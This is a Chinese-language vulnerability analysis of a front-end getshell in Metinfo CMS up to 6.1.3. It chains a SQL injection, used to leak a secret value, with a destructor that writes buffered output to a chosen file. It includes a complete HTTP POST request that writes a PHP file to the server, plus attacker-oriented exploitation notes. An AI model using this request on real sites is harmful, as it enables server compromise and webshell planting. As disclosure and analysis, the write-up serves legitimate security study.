某info <= 6.1.3前台getshell
字数 1107 2025-08-29 08:32:02
Metinfo <= 6.1.3 前台Getshell漏洞分析与利用
漏洞概述
Metinfo内容管理系统在6.1.3及以下版本存在一个严重的安全漏洞,攻击者可以通过结合前台SQL注入漏洞实现任意文件写入,最终获取服务器控制权限。
漏洞影响版本
- Metinfo 6.x <= 6.1.2
- Metinfo 6.1.3
漏洞原理分析
核心漏洞点
漏洞存在于app/system/include/class/web.class.php文件中,当满足条件$_M['form']['metinfonow'] == $_M['config']['met_member_force']时,web类的析构函数会将缓冲区的数据写入一个可控的文件中。
关键代码分析
-
文件写入条件:
if($_M['form']['metinfonow'] == $_M['config']['met_member_force']) { file_put_contents($_M['form']['html_filename'], ob_get_contents()); } -
met_member_force生成机制:
$_M['config']['met_member_force'] = randStr(7); // 随机生成7个字符 -
可利用的子类:
uploadify类继承了web类,并提供了可控的缓冲区数据输出。
攻击流程
- 通过SQL注入获取
met_member_force的值 - 利用
uploadify类的doupfile方法将恶意代码写入缓冲区 - 触发析构函数将缓冲区内容写入可控文件
漏洞利用步骤
第一步:获取met_member_force值
对于不同版本:
- 6.1.2及以下:利用留言板处的SQL注入
- 6.1.3:利用反馈处的SQL注入
注入示例:
通过注入获取$_M['config']['met_member_force']的值
第二步:构造恶意请求
POST请求示例:
POST /metinfo/admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=qipwtxm&html_filename=1.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg
test
------WebKitFormBoundary8tQiXReYsQYXHadW--
关键参数说明:
metinfonow: 必须等于通过注入获取的met_member_force值html_filename: 指定要写入的恶意文件路径- 文件名部分包含PHP代码
<?php phpinfo();?>
第三步:触发文件写入
通过上传操作触发uploadify类的doupfile方法,该方法会将恶意代码输出到缓冲区,最终通过析构函数写入指定文件。
攻击流程图解
- 通过SQL注入获取
met_member_force值 - 构造恶意上传请求
uploadify类处理上传并将恶意代码输出到缓冲区- 析构函数检测到
metinfonow匹配后将缓冲区写入文件 - 生成Webshell
防御措施
- 升级到最新版本
- 对用户输入进行严格过滤
- 限制文件写入权限
- 修复SQL注入漏洞
参考链接
- [Metinfo6.0.0-6.1.2前台注入漏洞生命线]
- 【技术分析】Metinfo利用sql注入快速getshell
注意事项
- 此漏洞需要结合SQL注入使用
- 不同版本需要不同的注入点
- 文件名和路径需要根据实际情况调整
- 攻击前应获取准确的
met_member_force值